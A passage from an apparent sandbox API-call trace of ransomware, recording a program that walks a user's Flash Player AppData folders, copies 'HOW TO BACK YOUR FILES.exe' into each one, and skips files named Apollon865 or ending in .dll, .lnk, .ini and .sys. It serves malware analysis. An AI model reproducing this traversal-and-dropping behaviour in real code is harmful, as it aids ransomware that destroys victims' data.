	[0043.436] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.436] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x31f6e7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31f6e7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.436] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.436] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.436] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="#SharedObjects" | out: lpString1="#SharedObjects") returned="#SharedObjects"
	[0043.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599450
	[0043.436] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.436] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31f48690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31f48690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.436] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.436] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1
	[0043.436] lstrcmpiW (lpString1="macromedia.com", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0043.436] lstrcmpiW (lpString1="macromedia.com", lpString2="Apollon865.txt.exe") returned 1
	[0043.436] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="macromedia.com" | out: lpString1="macromedia.com") returned="macromedia.com"
	[0043.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599508
	[0043.436] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.436] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d241020, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d241020, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0
	[0043.436] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.437] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.437] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com"
	[0043.437] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0043.437] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 84
	[0043.437] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com"
	[0043.437] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.443] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x31f6e7f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31f6e7f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.443] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="support" | out: lpString1="support") returned="support"
	[0043.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x599508
	[0043.443] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.443] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6d9d7640, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6d9d7640, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0
	[0043.443] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.443] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.443] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support"
	[0043.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0043.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 92
	[0043.443] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support"
	[0043.443] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.443] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.467] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.467] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d241020, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x31fbaab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31fbaab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.467] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.467] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.467] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="flashplayer" | out: lpString1="flashplayer") returned="flashplayer"
	[0043.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd2) returned 0x599508
	[0043.467] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.467] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31fbaab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31fbaab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.467] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.467] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31fbaab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31fbaab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.467] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.467] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.467] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer"
	[0043.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0043.467] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.467] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 104
	[0043.468] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer"
	[0043.468] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.468] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x32006d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32006d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.502] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.502] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.502] lstrcpyW (in: lpString1=0x2d3e622, lpString2="sys" | out: lpString1="sys") returned="sys"
	[0043.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0043.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xda) returned 0x599508
	[0043.502] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0043.502] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sys", cAlternateFileName="")) returned 0
	[0043.502] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.502] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0043.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys"
	[0043.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0043.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0043.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 108
	[0043.502] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys"
	[0043.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.507] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.507] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6d9d7640, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x32006d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32006d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.507] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.507] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.507] lstrcpyW (in: lpString1=0x2d3e62a, lpString2="settings.sol" | out: lpString1="settings.sol") returned="settings.sol"
	[0043.507] lstrlenW (lpString="settings.sol") returned 12
	[0043.507] lstrlenW (lpString="Apollon865") returned 10
	[0043.507] lstrcmpiW (lpString1="ttings.sol", lpString2="Apollon865") returned 1
	[0043.507] lstrlenW (lpString=".dll") returned 4
	[0043.507] lstrcmpiW (lpString1="settings.sol", lpString2=".dll") returned 1
	[0043.507] lstrlenW (lpString=".lnk") returned 4
	[0043.507] lstrcmpiW (lpString1="settings.sol", lpString2=".lnk") returned 1
	[0043.507] lstrlenW (lpString=".ini") returned 4
	[0043.507] lstrcmpiW (lpString1="settings.sol", lpString2=".ini") returned 1
	[0043.507] lstrlenW (lpString=".sys") returned 4
	[0043.507] lstrcmpiW (lpString1="settings.sol", lpString2=".sys") returned 1
	[0043.507] lstrlenW (lpString="settings.sol") returned 12
	[0043.507] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects"
	[0043.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.508] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.508] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned 84
	[0043.508] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects"
	[0043.508] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.513] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.513] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x32006d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x32006d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.513] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.513] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.513] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="P7Y3F7QB" | out: lpString1="P7Y3F7QB") returned="P7Y3F7QB"
	[0043.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0043.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbc) returned 0x599450
	[0043.513] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0043.513] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P7Y3F7QB", cAlternateFileName="")) returned 0
	[0043.513] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.513] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0043.513] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB"
	[0043.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0043.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0043.513] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned 93
	[0043.513] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB"
	[0043.514] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
